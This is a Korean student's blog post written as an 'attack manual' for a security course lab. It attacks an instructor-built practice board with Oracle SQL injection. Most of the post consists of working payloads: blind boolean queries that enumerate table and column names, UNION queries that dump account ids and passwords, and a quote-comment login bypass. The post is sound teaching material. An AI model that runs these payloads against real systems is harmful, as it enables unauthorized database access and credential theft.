헥헥헥!! 안녕하세요 @^ㅡ^@
오늘은 오전부터 강사님이 만드신 게시판을 공격하는 시간을 가졌어요!!
그래서 공격 매뉴얼을 작성해보았답니다. 강사님이 일부러 실습하기 편하게 단순하게 만들어 주셨는데도
엄청난 노가다였습니다. 다른 오빠들은 프로그램 만들어서 돌리려고 하더라고요.
하지만 저는 아직 그런 거 할 줄 모르는 응애이기 때문에 열심히 복붙했습니다!
머리가 나쁘면 몸이 고생한다는 말 아시죠? 우리 모두 머리를 단련시켜보아요!
아시겠죠 여러분??
1. Blind Base 공격
먼저 공격 대상 계정의 테이블이 몇 개 존재하는지 알아내야 한다.
이것%' and length((select tname from (select rownum r, tname from tab order by tname) where r=&n)) > 0 --
1부터 n까지의 수를 대입해보며 해당 문장이 게시글을 불러오지 않을 때까지 반복한다.
테이블이 존재한다면 테이블명의 길이가 0보다 클 수 밖에 없 해당하는 게시글이 출력될 것이다. 만약 게시글이 출력되지 않는다면 총 n-1개의 테이블이 존재한다고 유추할 수 있다.
<실습>
이것%' and length((select tname from (select rownum r, tname from tab order by tname) where r=3)) > 0 --
테이블이 2개 존재하기 때문에 위의 문장을 입력했을 때 게시글이 출력되지 않는다.
테이블의 개수를 알아냈다면,
첫 번째 테이블부터 n 번째 테이블까지의 테이블명 길이(문자열 길이)를 알아내야 한다.
이것%' and length((select tname from (select rownum r, tname from tab order by tname) where r=&n)) = &m --
해당 문장은 n 번째 테이블의 테이블명 길이가 m일 때 게시글이 출력된다.
따라서 1부터 m까지의 수를 대입해보며 해당 문장이 게시글을 불러올 때까지 반복한다. 게시글이 출력되지 않는다면 유추가 틀린 것이다.
이와 같은 방법으로 1번부터 n번까지의 테이블명 길이를 찾아낼 수 있다
<실습>
이것%' and length((select tname from (select rownum r, tname from tab order by tname) where r=1)) = 5 --
이것%' and length((select tname from (select rownum r, tname from tab order by tname) where r=2)) = 5 --
첫 번째와 두 번째 테이블 모두 테이블명이 5글자이기 때문에 위의 문장을 입력하면 게시글이 출력된다.
각 테이블의 테이블명 길이를 알아냈다면,
테이블명의 철자들을 알아내 조합하여 테이블명을 알아내야 한다.
이것%' and substr ((select tname from (select rownum r, tname from tab order by tname) where r=&n),&m,1) = 'A' --
위의 문장은 n번째 테이블의 문자열 중 m번째 자리 문자가 ‘A’인지 확인하는 것이다.
위의 문장을 각 테이블, 각 자리마다 ‘A’ ~ ‘Z’까지 대입하면 테이블명을 알아낼 수 있다.
<실습>
이것%' and substr((select tname from (select rownum r, tname from tab order by tname) where r=1),1,1) = ‘N’ --
이것%' and substr((select tname from (select rownum r, tname from tab order by tname) where r=1),2,1) = ‘O’ --
이것%' and substr((select tname from (select rownum r, tname from tab order by tname) where r=1),3,1) = ‘T’ --
이것%' and substr((select tname from (select rownum r, tname from tab order by tname) where r=1),4,1) = ‘I’ --
이것%' and substr((select tname from (select rownum r, tname from tab order by tname) where r=1),5,1) = ‘C’ --
이것%' and substr((select tname from (select rownum r, tname from tab order by tname) where r=2),1,1) = ‘S’ --
이것%' and substr((select tname from (select rownum r, tname from tab order by tname) where r=2),2,1) = ‘A’ --
이것%' and substr((select tname from (select rownum r, tname from tab order by tname) where r=2),3,1) = ‘R’ --
이것%' and substr((select tname from (select rownum r, tname from tab order by tname) where r=2),4,1) = ‘A’ --
이것%' and substr((select tname from (select rownum r, tname from tab order by tname) where r=2),5,1) = ‘M’ --
첫 번째 테이블: NOTIC
두 번째 테이블: SARAM
테이블에 대한 정보는 모두 알아냈다.
이제 각 테이블의 컬럼 정보를 알아내야 한다.
먼저 각 테이블에 존재하는 컬럼의 개수를 알아내보자.
이것%' and length((select column_name from (select rownum r, column_name from cols where table_name='&tname' order by column_name) where r = &n)) > 0 --
r이 n일 때 column_name의 length가 0이어서 게시글이 출력되지 않는다면, n-1개의 컬럼이 존재함을 알 수 있다.
<실습>
이것%' and length((select column_name from (select rownum r, column_name from cols where table_name='NOTIC' order by column_name) where r = 7)) > 0 --
테이블 ‘NOTIC’의 컬럼이 6개 존재하기 때문에 위의 문장을 입력했을 때 게시글이 출력되지 않는다.
이것%' and length((select column_name from (select rownum r, column_name from cols where table_name='SARAM' order by column_name) where r = 5)) > 0 --
테이블 ‘SARAM’의 컬럼이 4개 존재하기 때문에 위의 문장을 입력했을 때 게시글이 출력되지 않는다.
각 테이블의 컬럼 개수를 알아냈으니 컬럼명의 문자 개수를 알아내 보자.
(편의상, 테이블 ‘NOTIC’의 컬럼 정보만 알아내겠다.)
이것%' and length((select column_name from (select rownum r, column_name from cols where table_name='&tname' order by column_name) where r = &n)) = &m --
<실습>
이것%' and length((select column_name from (select rownum r, column_name from cols where table_name='NOTIC' order by column_name) where r = 1)) = 2 --
첫 번째 칼럼명의 문자 개수는 2개이다.
이것%' and length((select column_name from (select rownum r, column_name from cols where table_name='NOTIC' order by column_name) where r = 2)) = 3 --
두 번째 칼럼명의 문자 개수는 3개이다.
이것%' and length((select column_name from (select rownum r, column_name from cols where table_name='NOTIC' order by column_name) where r = 3)) = 7 --
세 번째 칼럼명의 문자 개수는 7개이다.
이것%' and length((select column_name from (select rownum r, column_name from cols where table_name='NOTIC' order by column_name) where r = 4)) = 5 --
네 번째 칼럼명의 문자 개수는 5개이다.
이것%' and length((select column_name from (select rownum r, column_name from cols where table_name='NOTIC' order by column_name) where r = 5)) = 3 --
다섯 번째 칼럼명의 문자 개수는 3개이다.
이것%' and length((select column_name from (select rownum r, column_name from cols where table_name='NOTIC' order by column_name) where r = 6)) = 7 --
여섯 번째 칼럼명의 문자 개수는 7개이다.
‘NOTIC’ 테이블의 각 컬럼명의 문자 개수를 알아냈으니 마지막으로 컬럼명을 찾아내야 한다.
이것%' and substr((select column_name from (select rownum r, column_name from cols where table_name = '&tname' order by column_name) where r = &n), &m, 1) = ‘A’ --
해당 테이블의 n번째 컬럼의 m번째 자리 문자가 ‘A’인지 확인하는 문장이다. 이 문장을 컬럼명을 알아낼 때까지 반복해야 한다.
하지만 컬럼명은 Blind base 공격 말고 Union base 공격을 통해 알아내보겠다.
Union base 공격에 필요한 사전 정보는 충분히 획득했기 때문이다.
2. Union base 공격
이것%' union select 99, '99', table_name, column_name, 'YYYY/MM/DD', 99
from user_tab_columns where table_name='NOTIC' --
이것%' union select 99, '99', table_name, column_name, 'YYYY/MM/DD', 99
from user_tab_columns where table_name='SARAM' --
인증 테이블 공격 (union을 이용하여 검색창에 문장 삽입)
%' union select 99, '2' , '3', sid, amho, 5 from saram --
계정 정보: te01ab, te02cd
3. 인증 우회 공격
Blind base 공격과 Union base 공격을 통해 인증 우회에 필요한 계정 정보를 알아냈기 때문에 인증 우회 공격이 가능하다.
id 입력란에 te01ab’ --, te02cd’ -- 입력 (2차원 패치 방식)
*1차원 패치 방식이라면 id를 알지 못해도 인증 우회가 가능하다.
'인프라 7기 > 네트워크 보안 공격 기법' 카테고리의 다른 글
ICMP 리다이렉트 (0) | 2023.05.10 |
---|---|
ARP 스푸핑, ARP 리다이렉트 (0) | 2023.05.09 |
스니핑(Sniffing) //Tcpdump, Dsniff (1) | 2023.05.09 |
SQL 인젝션 공격이 불가하도록 웹 코드 개선 (0) | 2023.05.08 |
SQL 인젝션 (0) | 2023.05.04 |